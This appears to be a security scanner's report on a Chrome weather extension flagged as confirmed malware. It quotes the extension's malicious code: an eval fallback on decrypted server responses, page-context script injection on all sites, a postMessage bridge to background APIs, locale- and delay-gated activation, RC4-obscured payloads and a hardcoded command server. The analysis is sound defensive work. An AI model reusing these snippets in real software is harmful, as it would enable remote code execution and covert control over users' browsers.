Security Alert: Confirmed Malware
IV天气
ID: mklfbhcamidkojoncdplbepgleoclgfh
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- uvttqqView Profile
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
浏览器中查看天气预报的最佳方式
浏览器中查看天气预报,你可以自定义想要查看的城市,支持全球所有城市。
parseJSON falls back to `new Function(arguments[0])()` when JSON.parse fails, which is effectively eval() of the input string. Because this parseJSON is applied to the RC4-decrypted server response on line 3726, a malicious/attacker-controlled server payload that is not valid JSON would be executed as arbitrary JavaScript in the page context of every site the user visits. This is a remote-code-execution path disguised as a jQuery shim.
}, w.isArray = Array.isArray, w.parseJSON = function() { try { return JSON.parse.apply(this, arguments) } catch (e) { return new Function(arguments[0])() }}, w.nodeName = k, w.isFunction = h, w.isWindow = g, w.camelCase = X, w.type = x,The content script, which matches <all_urls>, dynamically injects scriptMain.bundle.js into the DOM of every page the user visits, running it in the page's main world (not the isolated extension world). It passes a hardcoded external asset server URL (https://utq.vvipquan.com/ivt) to the injected script via dataset attributes. Injecting extension code into page context on every site is a privilege escalation vector and bypasses Chrome's isolated-world sandbox.
(() => { "use strict"; const e = "ivtianqi", t = "https://utq.vvipquan.com/ivt"; window.addEventListener("message", (t => { let a = t.data; a.p == e && "tobg" == a.cmd && chrome.runtime.sendMessage(a.data, (e => { a.cb && window.postMessage({ cmd: "ctcb", cb: a.cb, data: e }) })) })); if (navigator.language.match("^zh")) { chrome.storage.local.get("updateTime", (e => { e.updateTime && Date.now() - e.updateTime > 2592e5 && chrome.storage.local.set({ assetsServer: t }) })); let a = document.createElement("script"); a.src = chrome.runtime.getURL("/scriptMain.bundle.js"), a.dataset.pname = e, a.dataset.assetPath = t, document .body.appendChild(a) }The content script listens for window.postMessage events from any page and forwards arbitrary payloads to the extension's background service worker via chrome.runtime.sendMessage, then relays the response back via postMessage. The only validation is a string tag (p=='ivtianqi'); any script on any visited page (including untrusted third-party scripts) can invoke background-privileged actions by posting messages with that tag. This exposes background APIs to the open web.
window.addEventListener("message", (t => { let a = t.data; a.p == e && "tobg" == a.cmd && chrome.runtime.sendMessage(a.data, (e => { a.cb && window.postMessage({ cmd: "ctcb", cb: a.cb, data: e }) }))}));The malicious code path is gated on navigator.language starting with 'zh' (Chinese-speaking users) and a 3-day dormancy window (2592e5 ms = 3 days) before switching the assetsServer to the attacker-controlled domain. Geographic/locale-based conditional activation and a time-delayed trigger are classic malware evasion techniques to hide behavior from non-target users and automated review.
if (navigator.language.match("^zh")) { chrome.storage.local.get("updateTime", (e => { e.updateTime && Date.now() - e.updateTime > 2592e5 && chrome.storage.local.set({ assetsServer: t }) })); let a = document.createElement("script"); a.src = chrome.runtime.getURL("/scriptMain.bundle.js"), a.dataset.pname = e, a.dataset.assetPath = t, document .body.appendChild(a)}After being injected into every visited page, scriptMain.bundle.js requests a 'get_mt' payload from the background service worker and decrypts the response with a hand-rolled RC4 stream cipher keyed on the string 'ivtianqi'. Using custom symmetric encryption to obscure server-delivered content is a strong indicator of command-and-control communications or covertly delivered instructions; a benign weather extension has no legitimate need to encrypt update/config payloads this way.
n({ cmd: "get_mt"}, (t => { (t = r.parseJSON(function(e, t) { for (var n, r = [], i = 0, o = "", a = 0; a < 256; a++) r[a] = a; for (a = 0; a < 256; a++) i = (i + r[a] + e.charCodeAt(a % e.length)) % 256, n = r[a], r[a] = r[i], r[ i] = n; a = 0, i = 0; for (var s = 0; s < t.length; s++) i = (i + r[a = (a + 1) % 256]) % 256, n = r[a], r[a] = r[i], r[i] = n, o += String.fromCharCode(t.charCodeAt(s) ^ r[(r[a] + r[i]) % 256]); return o }(e, t))) && t.needUpdate && alert("Please updated to the latest version.")}))Hardcoded attacker-controlled asset/command server endpoint (https://utq.vvipquan.com/ivt) baked into the content script and used as the 'assetPath' passed to the injected page-context script. The domain is unrelated to any legitimate weather API and serves as the remote source for the encrypted payloads consumed above.
const e = "ivtianqi", t = "https://utq.vvipquan.com/ivt";By severity
Versions scanned
Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 1.0.4 | 6 |
Files with findings
2 distinct paths — top paths by unique finding count:
- ct.bundle.js4
- scriptMain.bundle.js2
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.